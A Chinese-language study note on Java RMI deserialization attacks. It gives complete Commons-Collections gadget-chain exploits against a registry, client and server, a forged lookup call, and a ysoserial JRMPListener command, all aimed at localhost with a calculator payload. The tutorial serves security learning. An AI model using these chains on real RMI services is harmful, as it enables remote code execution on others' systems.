JAVA反序列化RMI专题2

Java 反序列化之 RMI 专题 02-RMI 的几种攻击方式

接我的笔记rmi反序列化专题1

根据 RMI 的部分,有这么一些攻击方式

  • RMI Client 打 RMI Registry
  • RMI Client 打 RMI Server
  • RMI Client

这里的交互方式不只是只有 bind,还有其他的一系列方式,如下

我们与注册中心进行交互可以使用如下几种方式:

  • list
  • bind
  • rebind
  • unbind
  • lookup

这几种方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

  • 0 —– bind
  • 1 —– list
  • 2 —– lookup
  • 3 —– rebind
  • 4 —– unbind

首先是 list 这种攻击,因为除了 list 和 lookup 两个,其余的交互在 8u121 之后都是需要 localhost 的。
但是讲道理,list 的这种攻击比较鸡肋。

1. 攻击 RMI Registry

bind&rebind

因为bind和rebind一样,举一个例子同理即可

注册中心的交互主要是这一句话

Naming.bind("rmi://127.0.0.1:1099/sayHello", new RemoteObjImpl());
复制代码

把服务端运行起来后。

package org.example;


import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        // 实例化远程对象
        RemoteObj remoteObj = new RemoteObjImpl();
        // 创建注册中心
        Registry registry = LocateRegistry.createRegistry(1099);
//        // 绑定对象示例到注册中心
        registry.bind("remoteObj", remoteObj);
    }
}
复制代码
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class Client {
    public static void main(String[] args) throws Exception {
        Registry registry =  LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler cc = (InvocationHandler) CC1();

        Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},cc));
        registry.bind("test",remote);
    }

    public static Object CC1() throws  Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
        HashMap hashMap = new HashMap();
        hashMap.put("value", "world");  // 必须设置value值,这是AnnotationInvocationHandler第二个if绕过,同时也是为decorate返回有值
        Map<Object,Object> decorate= TransformedMap.decorate(hashMap,null,chainedTransformer);  //为什么这里只能是Map而不能是TranformedMap是因为后续的CheckSetValue的实际操作是为Map中一对组entry键值对set
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorate); // 这里用Target.class是为了绕过AnnotationInvocationHandler中的第一个if

        return o;
        //return o;
    }
}
复制代码
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},cc));
复制代码

因为我们的cc1最后是InvocationHandler的对象,这句话可以让我们的InvocationHandler转换成我们的remote对象。因为bind()方法这里需要传入 Remote 对象。

lookup或者unbind

重写lookup的传输方式

服务端不变

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.io.Serializable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RMIClient implements Serializable {
    public static void main(String[] args) throws Exception {
        Registry registry =  LocateRegistry.getRegistry("127.0.0.1",1099);
        InvocationHandler cc = (InvocationHandler) CC1();
        Remote remote = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},cc));


        Field[] fields =  registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
        // 两层getSuperclass是因为,ref属性在父类RemoteObject。RegistryImpl_Stub继承RemoteStub,RemoteStub继承RemoteObject。
        fields[0].setAccessible(true);
        UnicastRef ref = (UnicastRef) fields[0].get(registry);

        Field[] fields1 = registry.getClass().getDeclaredFields();
        fields1[0].setAccessible(true);
        Operation[] operations  = (Operation[]) fields1[0].get(registry);

        RemoteCall var2 = ref.newCall((RemoteObject) registry,  operations,2 , 4905912898345647071L);
        ObjectOutput var3 = var2.getOutputStream();
        var3.writeObject(remote);
        ref.invoke(var2);

    }


    public static Object CC1() throws  Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
        HashMap hashMap = new HashMap();
        hashMap.put("value", "world");  // 必须设置value值,这是AnnotationInvocationHandler第二个if绕过,同时也是为decorate返回有值
        Map<Object,Object> decorate= TransformedMap.decorate(hashMap,null,chainedTransformer);  //为什么这里只能是Map而不能是TranformedMap是因为后续的CheckSetValue的实际操作是为Map中一对组entry键值对set
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorate); // 这里用Target.class是为了绕过AnnotationInvocationHandler中的第一个if

        return o;
        //return o;
    }
}

复制代码

由于这lookup和unbind这两个方法只能传入String类,所以我们需要重写Client端Registry。由于参数var1只能为String类,所以我们需要自己伪造实现lookup方法,并在var3.writeObject(var1);中将我们的恶意类传入。需要重新获取ref和operation,反射为register

 public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException {
        try {
            RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException("error marshalling arguments", var18);
            }

            super.ref.invoke(var2);

            Remote var23;
            try {
                ObjectInput var6 = var2.getInputStream();
                var23 = (Remote)var6.readObject();
            } catch (IOException var15) {
                throw new UnmarshalException("error unmarshalling return", var15);
            } catch (ClassNotFoundException var16) {
                throw new UnmarshalException("error unmarshalling return", var16);
            } finally {
                super.ref.done(var2);
            }

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException("undeclared checked exception", var22);
        }
    }
复制代码

2.攻击客户端

对于注册中心来说,我们还是从这几个方法触发:

  • bind
  • unbind
  • rebind
  • list
  • lookup

除了unbindrebind都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,因为 EXP 实在太长了。命令如下:

注册中心攻击客户端

server:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099  CommonsCollections1 'calc'
复制代码

Client:

package org.example;

import java.io.Serializable;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient implements Serializable {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        registry.list();

    }
}

复制代码

服务端攻击客户端

服务端攻击客户端,大抵可以分为以下两种情景。

  1. 服务端返回Object对象
  2. 远程加载对象

在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化。所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:

恶意Server

package org.example;

public interface User extends java.rmi.Remote {
    public Object getUser() throws Exception;
}

复制代码
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class EvilServer extends UnicastRemoteObject implements User  {
    public String name;
    public int age;

    public EvilServer(String name, int age) throws RemoteException {
        super();
        this.name = name;
        this.age = age;
    }

    public Object getUser() throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime",
                                new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new String[]{"calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);


        return (Object) handler;
    }
}

复制代码
package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        User harder = new EvilServer("harder",15);
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",harder);
    }
}
复制代码

Client:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteCall;
import java.rmi.server.Operation;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
        User user = (User)registry.lookup("user");
        user.getUser();

    }

}

复制代码

3.攻击服务端

当客户端需要调用的远程方法的参数中含有Object类,此时Client可以发送一个恶意的对象。由于远程对象是以序列化形式进行传输的,Server端接收的时候势必会对其进行反序列化。如果Server端恰好安装了含有漏洞的组件,此时我们就可以进行攻击,下面我们来模拟一下。

其实这种方法本质还是传递给Server一个恶意对象,并且有以下利用条件

  • Server端有能够传递Object对象的远程方法
  • Server端安装有包含反序列化漏洞的相关组件

客户端打服务端

在 Client 端获取到 Server 端创建的 Stub 后,会在本地调用这个 Stub 并传递参数,Stub 会序列化这个参数,并传递给 Server 端,Server 端会反序列化 Client 端传入的参数并进行调用,如果这个参数是 Object 类型的情况下,Client 端可以传给 Server 端任意的类,直接造成反序列化漏洞。

server:

package org.example;

import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIServer {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException, MalformedURLException {
        RemoteObjImpl remote = new RemoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("user",remote);
    }
}
复制代码

client:

package org.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) throws Exception {

//            InvocationHandler invocationHandler = (InvocationHandler) CC1();
//            Remote evilObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[]{Remote.class},invocationHandler));
            Registry registry = LocateRegistry.getRegistry("localhost",1099);
            RemoteObj stub = (RemoteObj) registry.lookup("user");
            stub.sayGoodbye(CC1());
    }

    public static Object CC1() throws  Exception{

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod"
                        , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke"
                        , new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec"
                        , new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform(Runtime.class);
        HashMap hashMap = new HashMap();
        hashMap.put("value", "world");  // 必须设置value值,这是AnnotationInvocationHandler第二个if绕过,同时也是为decorate返回有值
        Map<Object,Object> decorate= TransformedMap.decorate(hashMap,null,chainedTransformer);  //为什么这里只能是Map而不能是TranformedMap是因为后续的CheckSetValue的实际操作是为Map中一对组entry键值对set
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor =  c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorate); // 这里用Target.class是为了绕过AnnotationInvocationHandler中的第一个if

        return o;
        //return o;
    }

}

复制代码

实现类:

package org.example;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {

    public RemoteObjImpl() throws RemoteException {
        //    UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
    }

    @Override
    public String sayHello(String keywords) throws RemoteException {
        String upKeywords = keywords.toUpperCase();
        System.out.println(upKeywords);
        return upKeywords;
    }

    public void sayGoodbye(Object keywords) throws RemoteException {
        System.out.println("调用了SayGoodbye");
    }
}

复制代码

我们可以看到这个类型为Object,所以我们反序列化成功,如果我们为其他类型比如string或者其他实现类的类型,能否反序列化成功吗?

发现基础类型是都不行的,因为代码严格规定了

如果是其他类的类型是否能够反序列化成功呢,比如这样

我们运行了一下发现出现报错的情况,其实就是在服务端没有找到对应的调用方法。这个找对应方法我们之前说过,是在 UnicastServerRef 的 dispatch 方法中在 this.hashToMethod_Map 中通过 Method 的 hash 来查找的。这个 hash 实际上是一个基于方法签名的 SHA1 hash 值。

那有没有一种可能,我们传递的是 Server 端能找到的参数是 HelloObject 的 Method 的 hash,但是传递的参数却不是 HelloObject 而是恶意的反序列化数据(可能是 Object或其他的类)呢

答案是可以的,在 mogwailabs 的 [PPT](https://github.com/mogwailabs/rmi-deserialization/blob/master/BSides Exploiting RMI Services.pdf) 中提出了以下 4 种方法:

  • 通过网络代理,在流量层修改数据
  • 自定义 “java.rmi” 包的代码,自行实现
  • 字节码修改
  • 使用 debugger

并且在 PPT 中还给出了 hook 点,那就是动态代理中使用的 RemoteObjectInvocationHandler 的 invokeRemoteMethod 方法。

接下来我们尝试一下,由于是学习和测试,这里将使用最方便的 debugger 方式。Afant1 师傅使用了 Java Agent 的方式,在这篇文章里,0c0c0f 师傅使用了流量层的替换,在这篇文章里,有兴趣的师傅请自行查看。

总结:

Server 端的调用方法存在非基础类型的参数时,就可以被恶意 Client 端传入恶意数据流触发反序列化漏洞。

远程动态加载类

RMI 有一个重要的特性,就是动态类加载机制,当本地 ClassPath 中无法找到相应的类时,会在指定的 codebase 里加载 class。特性在 6u45/7u21 之前都是默认开启的。为了能够远程加载目标类,需要 Server 加载并配置 SecurityManager,并设置 java.rmi.server.useCodebaseOnly=false

https://su18.org/post/rmi-attack/#2-%E5%8A%A8%E6%80%81%E7%B1%BB%E5%8A%A0%E8%BD%BD

替身攻击

在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路,我称其为替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。

大体的思路就是调用的方法参数是 HelloObject,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。

这的确是一种思路,但是还不如 hook RMI 代码修改逻辑来得快,所以这里不进行测试。

4.攻击DGC

在之前的调试过程中,也曾看到过 DGC 相关的代码,不过没有分析,统一在这里来说。

DGC(Distributed Garbage Collection)—— 分布式垃圾回收,当 Server 端返回一个对象到 Client 端(远程方法的调用方)时,其跟踪远程对象在 Client 端中的使用。当再没有更多的对 Client 远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。启动一个 RMI 服务,就会伴随着 DGC 服务端的启动。

RMI 定义了一个 java.rmi.dgc.DGC 接口,提供了两个方法 dirtyclean

  • 客户端想要使用服务端上的远程引用,使用 dirty 方法来注册一个。同时这还跟租房子一样,过段时间继续用的话还要再调用一次来续租。
  • 客户端不使用的时候,需要调用 clean 方法来清楚这个远程引用。

这个接口有两个实现类,分别是 sun.rmi.transport.DGCImpl 以及 sun.rmi.transport.DGCImpl_Stub,同时还定义了 sun.rmi.transport.DGCImpl_Skel

这个命名方式是不是看着非常眼熟呢?

很像 Registry、RegistryImpl、RegistryImpl_Stub、RegistryImpl_Skel,实际上不单是命名相近,处理逻辑也是类似的。通过在服务端和客户端之间传递引用,依旧是 Stub 与 Skel 之间的通信模式:Server 端启动 DGCImpl,在 Registry 端注册 DGCImpl_Stub ,Client 端获取到 DGCImpl_Stub,通过其与 Server 端通信,Server 端使用 RegistryImpl_Skel 来处理。

可以在 Server 端的 ObjectTable 中找到由 Target 封装的 DGCImpl,在 Registry 端的 ObjectTable 中找到由 Target 封装的 DGCImpl_Stub。

反序列化Gadgets

大概就是通过UnicastRemoteObject,UnicastRef,RemoteObject来实现一个对远程通信的readObject,然后用工具配合进行反序列化rce、

UnicastRef

public class UnicastRef1 {

	public static void main(String[] args) throws Exception {

		String host = "127.0.0.1";
		int    port = 12233;

		ObjID       id  = new ObjID(new Random().nextInt()); // RMI registry
		TCPEndpoint te  = new TCPEndpoint(host, port);
		UnicastRef  ref = new UnicastRef(new LiveRef(id, te, false));

		SerializeUtil.writeObjectToFile(ref);
		SerializeUtil.readFileObject();
	}
}
复制代码

反序列化调用链为:

UnicastRemoteObject.readObject()
    UnicastRemoteObject.reexport()
        UnicastRemoteObject.exportObject()
            UnicastServerRef.exportObject()
                LiveRef.exportObject()
                    TCPEndpoint.exportObject()
                        TCPTransport.exportObject()
                            TCPTransport.listen()
复制代码

恶意服务端可以结合 ysoserial.exploit.JRMPListener 来使用。

这条链是 lpwd 师傅提交的利用链,是在 ysoserial 的精简,也就是下面要说的链。

JEP290

JEP290 是 Java 底层为了缓解反序列化攻击提出的一种解决方案,描述网址点这里。这是一个针对 JAVA 9 提出的安全特性,但同时对 JDK 6,7,8 都进行了支持,在 JDK 6u141、JDK 7u131、JDK 8u121 版本进行了更新。

JEP290主要描述了这么几个机制:

(1)提供一个限制反序列化类的机制,白名单或者黑名单

(2)限制反序列化的深度和复杂度

(3)为RMI远程调用对象提供了一个验证类的机制

(4)定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

在这种情况下,直接使用 CC 一类的 gadget 就完全失效了,但是在第五章反序列化 Gadgets 里提到的 UnicastRef/RemoteObject 利用链配合 ysoserial.exploit.JRMPListener 依旧是可以使用的。

绕过方法是Gadgets反序列化中的UnicastRef/RemoteObject 利用链配合 ysoserial.exploit.JRMPListener 依旧是可以使用的。

这个利用链的大致流程就是:攻击者发送 payload 让目标服务器发起一个 JRMP 请求去链接我们的 JRMP 服务器,然后接受并反序列化我们 JRMP 服务器返回的报错信息,反序列化的时候通过 RMI 注册端内部的利用链(比如 CC)完成命令执行。

https://su18.org/post/rmi-attack/#1-%E6%81%B6%E6%84%8F%E6%9C%8D%E5%8A%A1%E5%8F%82%E6%95%B0